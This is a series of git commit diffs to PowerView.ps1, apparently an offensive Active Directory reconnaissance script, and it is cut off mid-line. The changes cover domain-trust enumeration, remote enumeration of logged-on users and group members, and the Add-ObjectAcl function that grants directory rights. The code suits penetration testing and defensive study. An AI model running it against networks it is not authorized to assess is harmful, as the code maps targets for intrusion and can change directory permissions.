a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1937,7 +1937,6 @@ filter Get-DNSZone { $FullData ) - # $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones" $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential $DNSSearcher.filter="(objectClass=dnsZone)" @@ -1958,6 +1957,27 @@ filter Get-DNSZone { $Results.dispose() $DNSSearcher.dispose() } + + $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones" + $DNSSearcher.filter="(objectClass=dnsZone)" + + if($DNSSearcher) { + $Results = $DNSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + $Properties = Convert-LDAPProperty -Properties $_.Properties + $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name + + if ($FullData) { + $Properties + } + else { + $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged + } + } + $Results.dispose() + $DNSSearcher.dispose() + } } @@ -7465,7 +7485,7 @@ function Get-NetLocalGroup { [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)] [Alias('HostName')] [String[]] - $ComputerName = "$($env:COMPUTERNAMECOMPUTERNAME)", + $ComputerName = "$($env:COMPUTERNAME)", [Parameter(ParameterSetName = 'WinNT')] [Parameter(ParameterSetName = 'API')] @@ -7542,6 +7562,9 @@ function Get-NetLocalGroup { $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $SidString = "" $Result = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString) Write-Debug "Result of ConvertSidToStringSid: $Result" @@ -7549,7 +7572,7 @@ function Get-NetLocalGroup { if($Result -eq 0) { # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx $Err = $Kernel32::GetLastError() - Write-Error "ConvertSidToStringSid LastError: $Err" + Write-Error "ConvertSidToStringSid LastError: $Err" } else { $LocalUser = New-Object PSObject @@ -7562,9 +7585,6 @@ function Get-NetLocalGroup { # add in our custom object $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUser') - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment - $LocalUsers += $LocalUser } } @@ -12292,6 +12312,10 @@ function Get-NetDomainTrust { Domain controller to reflect LDAP queries through. + .PARAMETER API + + Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts. + .PARAMETER LDAP Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. @@ -12305,20 +12329,33 @@ function Get-NetDomainTrust { PS C:\> Get-NetDomainTrust - Return domain trusts for the current domain. + Return domain trusts for the current domain using built in .NET methods. .EXAMPLE PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" - Return domain trusts for the "prod.testlab.local" domain. + Return domain trusts for the "prod.testlab.local" domain using .NET methods .EXAMPLE - PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local" + PS C:\> Get-NetDomainTrust -LDAP -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local" + + Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP + queries, reflecting queries through the "Primary.testlab.local" domain controller, + using .NET methods. + + .EXAMPLE + + PS C:\> Get-NetDomainTrust -API -Domain "prod.testlab.local" + + Return domain trusts for the "prod.testlab.local" domain enumerated through API calls. + + .EXAMPLE - Return domain trusts for the "prod.testlab.local" domain, reflecting - queries through the "Primary.testlab.local" domain controller + PS C:\> Get-NetDomainTrust -API -DomainController WINDOWS2.testlab.local + + Return domain trusts reachable from the WINDOWS2 machine through API calls. #> [CmdletBinding()] @@ -12330,6 +12367,9 @@ function Get-NetDomainTrust { [String] $DomainController, + [Switch] + $API, + [Switch] $LDAP, @@ -12343,11 +12383,11 @@ function Get-NetDomainTrust { process { - if(!$Domain) { + if((-not $Domain) -and (-not $API) -and (-not $DomainController)) { $Domain = (Get-NetDomain -Credential $Credential).Name } - if($LDAP -or $DomainController) { + if($LDAP) { $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize $SourceSID = Get-DomainSID -Domain $Domain -DomainController $DomainController @@ -12397,11 +12437,88 @@ function Get-NetDomainTrust { $TrustSearcher.dispose() } } + elseif($API) { + if(-not $DomainController) { + $DomainController = Get-NetDomainController -Credential $Credential -Domain $Domain | Select-Object -First 1 | Select-Object -ExpandProperty Name + } + + if($DomainController) { + # arguments for DsEnumerateDomainTrusts + $PtrInfo = [IntPtr]::Zero + + # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND + $Flags = 63 + $DomainCount = 0 + + # get the trust information from the target server + $Result = $Netapi32::DsEnumerateDomainTrusts($DomainController, $Flags, [ref]$PtrInfo, [ref]$DomainCount) + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + Write-Debug "DsEnumerateDomainTrusts result for $DomainController : $Result" + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $DS_DOMAIN_TRUSTS::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $DomainCount); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $SidString = "" + $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString) + + if($Result -eq 0) { + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Error "ConvertSidToStringSid LastError: $Err" + } + else { + $DomainTrust = New-Object PSObject + $DomainTrust | Add-Member Noteproperty 'SourceDomain' $Domain + $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController + $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName + $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName + $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags + $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex + $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType + $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes + $DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString + $DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid + $DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust') + $DomainTrust + } + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (50) { Write-Debug 'The request is not supported.' } + (1004) { Write-Debug 'Invalid flags.' } + (1311) { Write-Debug 'There are currently no logon servers available to service the logon request.' } + (1786) { Write-Debug 'The workstation does not have a trust secret.' } + (1787) { Write-Debug 'The security database on the server does not have a computer account for this workstation trust relationship.' } + } + } + } + else { + Write-Error "Could not retrieve domain controller for $Domain" + } + } else { - # if we're using direct domain connections + # if we're using direct domain connections through .NET $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential - if($FoundDomain) { $FoundDomain.GetAllTrustRelationships() } @@ -12843,7 +12960,6 @@ function Invoke-MapDomainTrust { [Management.Automation.PSCredential] $Credential - ) # keep track of domains seen so we don't hit infinite recursion @@ -12934,6 +13050,7 @@ $FunctionDefinitions = @( (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), + (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())), (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])), @@ -13022,6 +13139,42 @@ $LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') } +# enums used in DS_DOMAIN_TRUSTS +$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ + IN_FOREST = 1 + DIRECT_OUTBOUND = 2 + TREE_ROOT = 4 + PRIMARY = 8 + NATIVE_MODE = 16 + DIRECT_INBOUND = 32 +} -Bitfield +$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ + DOWNLEVEL = 1 + UPLEVEL = 2 + MIT = 3 + DCE = 4 +} +$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ + NON_TRANSITIVE = 1 + UPLEVEL_ONLY = 2 + FILTER_SIDS = 4 + FOREST_TRANSITIVE = 8 + CROSS_ORGANIZATION = 16 + WITHIN_FOREST = 32 + TREAT_AS_EXTERNAL = 64 +} + +# the DsEnumerateDomainTrusts result structure +$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ + NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') + DnsDomainName = field 1 String -MarshalAs @('LPWStr') + Flags = field 2 $DsDomainFlag + ParentIndex = field 3 UInt32 + TrustType = field 4 $DsDomainTrustType + TrustAttributes = field 5 $DsDomainTrustAttributes + DomainSid = field 6 IntPtr + DomainGuid = field 7 Guid +} $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] -- cgit v1.2.3 From c89f0b99693ffded815c23590bfd042afe192b77 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 13 May 2016 01:11:47 -0400 Subject: Logic bug fix in Get-NetDomainTrust --- Recon/PowerView.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index e7f928f..d8f4248 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -12383,7 +12383,7 @@ function Get-NetDomainTrust { process { - if((-not $Domain) -and (-not $API) -and (-not $DomainController)) { + if((-not $Domain) -or ((-not $API) -and (-not $DomainController))) { $Domain = (Get-NetDomain -Credential $Credential).Name } -- cgit v1.2.3 From b568271d57be6d850906a8c14d5222b81c477daa Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 22 May 2016 14:07:37 -0400 Subject: Get-LoggedOnLocal now handles the situation when multiple SIDs are returned Get-LoggedOnLocal turned into a filter and given additional error handling Standardized tab/line spacing Removed Invoke-PSLoggedOn --- Recon/PowerView.ps1 | 134 +++++++++++++--------------------------------------- 1 file changed, 33 insertions(+), 101 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index c10cbed..6ad1c9d 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -8147,25 +8147,23 @@ filter Get-NetSession { } -function Get-LoggedOnLocal { +filter Get-LoggedOnLocal { <# .SYNOPSIS This function will query the HKU registry values to retrieve the local logged on users SID and then attempt and reverse it. Adapted technique from Sysinternal's PSLoggedOn script. Benefit over - using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges - required (NetWkstaUserEnum requires remote admin access). + using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges + required (NetWkstaUserEnum requires remote admin access). - Note: This function requires only domain user rights on the - machine you're enumerating. - - Function: Get-LoggedOnLocal - Author: Matt Kelly, @BreakersAll; - Required Dependencies: @harmj0y's Powerview. - - .PARAMETER ComputerName + machine you're enumerating, but remote registry must be enabled. + + Function: Get-LoggedOnLocal + Author: Matt Kelly, @BreakersAll + + .PARAMETER ComputerName The ComputerName to query for active sessions. @@ -8187,105 +8185,39 @@ function Get-LoggedOnLocal { param( [Parameter(ValueFromPipeline=$True)] [Alias('HostName')] - [String] + [Object[]] + [ValidateNotNullOrEmpty()] $ComputerName = 'localhost' ) - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName - # retrieve HKU remote registry values - $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") - - # sort out bogus sid's like _class - $UserSID = $Reg.GetSubKeyNames() | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } - - # if successful, convert sid and print output - if ($UserSID) { - $UserName = Convert-SidToName $UserSID - - $LocalLoggedOnUser = New-Object PSObject - $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName - $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $UserSID - $LocalLoggedOnUser - } - else { - Write-Debug "Could not retrieve values for $ComputerName" - } - - Write-Debug "UserSIDs retrieved result: $Reg.GetSubKeyNames()" - } -} - - -function Invoke-PSLoggedOn { -<# - .SYNOPSIS - - This function replicates PSLoggedOn functionality, and leverages - Get-NetSession (netsessionenum) and remote registry values. - Same actions as PSLoggedOn except in PowerShell. - - Note: This function requires only domain user rights on the - machine you're enumerating. - - Function: Invoke-PSLoggedOn - Author: Matt Kelly, @BreakersAll; - Required Dependencies: PowerView. PSv2 - - .PARAMETER ComputerName - - The ComputerName to query for active sessions. - - .EXAMPLE - - PS C:\> Invoke-PSLoggedOn - - Returns active sessions on the local host. + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName - .EXAMPLE + try { + # retrieve HKU remote registry values + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") - PS C:\> Invoke-PSLoggedOn -ComputerName sqlserver + # sort out bogus sid's like _class + $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { + $UserName = Convert-SidToName $_ - Returns active sessions on the 'sqlserver' host. - -#> + $Parts = $UserName.Split('\') + $UserDomain = $Null + $UserName = $Parts[-1] + if ($Parts.Length -eq 2) { + $UserDomain = $Parts[0] + } - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [String] - $ComputerName = 'localhost' - ) - - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' + $LocalLoggedOnUser = New-Object PSObject + $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" + $LocalLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName + $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ + $LocalLoggedOnUser } } - - process { - - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName - - $LoggedOnLocal = Get-LoggedOnLocal $ComputerName - $NetSessionUsers = Get-NetSession $ComputerName - - Write-Host "Users logged on locally to $ComputerName:" - $LoggedOnLocal - Write-Host "" - Write-Host "Users logged on via resource shares to $ComputerName:" - $NetSessionUsers + catch { + Write-Verbose "Error opening remote registry on '$ComputerName'" } } -- cgit v1.2.3 From df2f92899a27a3e8e962079360cab790abae3bd3 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 22 May 2016 14:40:40 -0400 Subject: -Fixed bug in Get-NetGroupMember's ranged searching logic on PowerShell v3+ -Corrected parameter/variable scoping bug in several functions -TODO: fix begin{} scoping issues in Find-InterestingFile, Invoke-UserHunter, Invoke-ProcessHunter, Invoke-EventHunter, Invoke-ShareFinder, Invoke-FileFinder, Find-LocalAdminAccess, Invoke-EnumerateLocalAdmin -Other misc. fixes --- Recon/PowerView.ps1 | 237 +++++++++++++++++++++++++--------------------------- 1 file changed, 114 insertions(+), 123 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 6ad1c9d..f4339f7 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1649,7 +1649,7 @@ filter Get-DomainSearcher { ) if(!$Credential) { - if(!$Domain){ + if(!$Domain) { $Domain = (Get-NetDomain).name } elseif(!$DomainController) { @@ -3473,15 +3473,18 @@ function Add-ObjectAcl { begin { $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $TargetADSpath -ADSprefix $TargetADSprefix -PageSize $PageSize - if(!$PrincipalSID) { + if($PrincipalSID) { + $ResolvedPrincipalSID = $PrincipalSID + } + else { $Principal = Get-ADObject -Domain $Domain -DomainController $DomainController -Name $PrincipalName -SamAccountName $PrincipalSamAccountName -PageSize $PageSize if(!$Principal) { throw "Error resolving principal" } - $PrincipalSID = $Principal.objectsid + $ResolvedPrincipalSID = $Principal.objectsid } - if(!$PrincipalSID) { + if(!$ResolvedPrincipalSID) { throw "Error resolving principal" } } @@ -3505,7 +3508,7 @@ function Add-ObjectAcl { $TargetDN = $_.Properties.distinguishedname - $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalSID) + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ResolvedPrincipalSID) $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None" $ControlType = [System.Security.AccessControl.AccessControlType] "Allow" $ACEs = @() @@ -3540,19 +3543,19 @@ function Add-ObjectAcl { $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$InheritanceType } - Write-Verbose "Granting principal $PrincipalSID '$Rights' on $($_.Properties.distinguishedname)" + Write-Verbose "Granting principal $ResolvedPrincipalSID '$Rights' on $($_.Properties.distinguishedname)" try { # add all the new ACEs to the specified object ForEach ($ACE in $ACEs) { - Write-Verbose "Granting principal $PrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)" + Write-Verbose "Granting principal $ResolvedPrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)" $Object = [adsi]($_.path) $Object.PsBase.ObjectSecurity.AddAccessRule($ACE) $Object.PsBase.commitchanges() } } catch { - Write-Warning "Error granting principal $PrincipalSID '$Rights' on $TargetDN : $_" + Write-Warning "Error granting principal $ResolvedPrincipalSID '$Rights' on $TargetDN : $_" } } $Results.dispose() @@ -4768,10 +4771,6 @@ function Get-NetSite { ) begin { - if(!$Domain) { - $Domain = Get-NetDomain -Credential $Credential - } - $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize } process { @@ -4885,10 +4884,6 @@ function Get-NetSubnet { ) begin { - if(!$Domain) { - $Domain = Get-NetDomain -Credential $Credential - } - $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize } @@ -5268,34 +5263,38 @@ function Get-NetGroupMember { ) begin { - # so this isn't repeated if users are passed on the pipeline - $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - - if(!$DomainController) { - $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name + if($DomainController) { + $TargetDomainController = $DomainController + } + else { + $TargetDomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name } - if(!$Domain) { - $Domain = Get-NetDomain -Credential $Credential + if($Domain) { + $TargetDomain = $Domain } + else { + $TargetDomain = Get-NetDomain -Credential $Credential | Select-Object -ExpandProperty name + } + + # so this isn't repeated if users are passed on the pipeline + $GroupSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } process { - if ($GroupSearcher) { - if ($Recurse -and $UseMatchingRule) { # resolve the group to a distinguishedname if ($GroupName) { - $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize + $Group = Get-NetGroup -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize } elseif ($SID) { - $Group = Get-NetGroup -SID $SID -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize + $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize } else { # default to domain admins - $SID = (Get-DomainSID -Domain $Domain -Credential $Credential) + "-512" - $Group = Get-NetGroup -SID $SID -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize + $SID = (Get-DomainSID -Domain $TargetDomain -Credential $Credential) + "-512" + $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize } $GroupDN = $Group.distinguishedname $GroupFoundName = $Group.name @@ -5320,60 +5319,56 @@ function Get-NetGroupMember { } else { # default to domain admins - $SID = (Get-DomainSID -Domain $Domain -Credential $Credential) + "-512" + $SID = (Get-DomainSID -Domain $TargetDomain -Credential $Credential) + "-512" $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" } - $Results = $GroupSearcher.FindAll() - $Results | ForEach-Object { - try { - if (!($_) -or !($_.properties) -or !($_.properties.name)) { continue } - - $GroupFoundName = $_.properties.name[0] - $Members = @() - - if ($_.properties.member.Count -eq 0) { - $Finished = $False - $Bottom = 0 - $Top = 0 - while(!$Finished) { - $Top = $Bottom + 1499 - $MemberRange="member;range=$Bottom-$Top" - $Bottom += 1500 - $GroupSearcher.PropertiesToLoad.Clear() - [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange") - try { - $Result = $GroupSearcher.FindOne() - if ($Result) { - $RangedProperty = $_.Properties.PropertyNames -like "member;range=*" - $Results = $_.Properties.item($RangedProperty) - if ($Results.count -eq 0) { - $Finished = $True - } - else { - $Results | ForEach-Object { - $Members += $_ - } - } - } - else { - $Finished = $True - } - } - catch [System.Management.Automation.MethodInvocationException] { + try { + $Result = $GroupSearcher.FindOne() + } + catch { + $Members = @() + } + + $GroupFoundName = '' + + if ($Result) { + $Members = $Result.properties.item("member") + + if($Members.count -eq 0) { + + $Finished = $False + $Bottom = 0 + $Top = 0 + + while(!$Finished) { + $Top = $Bottom + 1499 + $MemberRange="member;range=$Bottom-$Top" + $Bottom += 1500 + + $GroupSearcher.PropertiesToLoad.Clear() + [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange") + [void]$GroupSearcher.PropertiesToLoad.Add("name") + try { + $Result = $GroupSearcher.FindOne() + $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*" + $Members += $Result.Properties.item($RangedProperty) + $GroupFoundName = $Result.properties.item("name")[0] + + if ($Members.count -eq 0) { $Finished = $True } } - } - else { - $Members = $_.properties.member + catch [System.Management.Automation.MethodInvocationException] { + $Finished = $True + } } - } - catch { - Write-Verbose $_ + } + else { + $GroupFoundName = $Result.properties.item("name")[0] + $Members += $Result.Properties.item($RangedProperty) } } - $Results.dispose() $GroupSearcher.dispose() } @@ -5383,8 +5378,8 @@ function Get-NetGroupMember { $Properties = $_.Properties } else { - if($DomainController) { - $Result = [adsi]"LDAP://$DomainController/$_" + if($TargetDomainController) { + $Result = [adsi]"LDAP://$TargetDomainController/$_" } else { $Result = [adsi]"LDAP://$_" @@ -5405,7 +5400,7 @@ function Get-NetGroupMember { $GroupMember = New-Object PSObject } - $GroupMember | Add-Member Noteproperty 'GroupDomain' $Domain + $GroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName try { @@ -5452,10 +5447,10 @@ function Get-NetGroupMember { # if we're doing manual recursion if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) { if($FullData) { - Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize + Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize } else { - Get-NetGroupMember -Domain $MemberDomain -DomainController $DomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize + Get-NetGroupMember -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize } } } @@ -5640,7 +5635,6 @@ function Get-DFSshare { $bin = $Pkt $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) - #Write-Host "Element Count: " $blob_element_count $offset = 8 #https://msdn.microsoft.com/en-us/library/cc227147.aspx $object_list = @() @@ -5648,15 +5642,15 @@ function Get-DFSshare { $blob_name_size_start = $offset $blob_name_size_end = $offset + 1 $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) - #Write-Host "Blob name size: " $blob_name_size + $blob_name_start = $blob_name_size_end + 1 $blob_name_end = $blob_name_start + $blob_name_size - 1 $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) - #Write-Host "Blob Name: " $blob_name + $blob_data_size_start = $blob_name_end + 1 $blob_data_size_end = $blob_data_size_start + 3 $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) - #Write-Host "blob data size: " $blob_data_size + $blob_data_start = $blob_data_size_end + 1 $blob_data_end = $blob_data_start + $blob_data_size - 1 $blob_data = $bin[$blob_data_start..$blob_data_end] @@ -5675,22 +5669,22 @@ function Get-DFSshare { $prefix_start = $prefix_size_end + 1 $prefix_end = $prefix_start + $prefix_size - 1 $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) - #write-host "Prefix: " $prefix + $short_prefix_size_start = $prefix_end + 1 $short_prefix_size_end = $short_prefix_size_start + 1 $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) $short_prefix_start = $short_prefix_size_end + 1 $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) - #write-host "Short Prefix: " $short_prefix + $type_start = $short_prefix_end + 1 $type_end = $type_start + 3 $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) - #write-host $type + $state_start = $type_end + 1 $state_end = $state_start + 3 $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) - #write-host $state + $comment_size_start = $state_end + 1 $comment_size_end = $comment_size_start + 1 $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) @@ -5698,7 +5692,6 @@ function Get-DFSshare { $comment_end = $comment_start + $comment_size - 1 if ($comment_size -gt 0) { $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) - #Write-Host $comment } $prefix_timestamp_start = $comment_end + 1 $prefix_timestamp_end = $prefix_timestamp_start + 7 @@ -5714,24 +5707,18 @@ function Get-DFSshare { $version_end = $version_start + 3 $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) - #write-host $version - if ($version -ne 3) - { - #write-host "error" - } - # Parse rest of DFSNamespaceRootOrLinkBlob here $dfs_targetlist_blob_size_start = $version_end + 1 $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) - #write-host $dfs_targetlist_blob_size + $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 $reserved_blob_size_end = $reserved_blob_size_start + 3 $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) - #write-host $reserved_blob_size + $reserved_blob_start = $reserved_blob_size_end + 1 $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] @@ -5744,13 +5731,11 @@ function Get-DFSshare { $target_count_end = $target_count_start + 3 $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) $t_offset = $target_count_end + 1 - #write-host $target_count for($j=1; $j -le $target_count; $j++){ $target_entry_size_start = $t_offset $target_entry_size_end = $target_entry_size_start + 3 $target_entry_size = 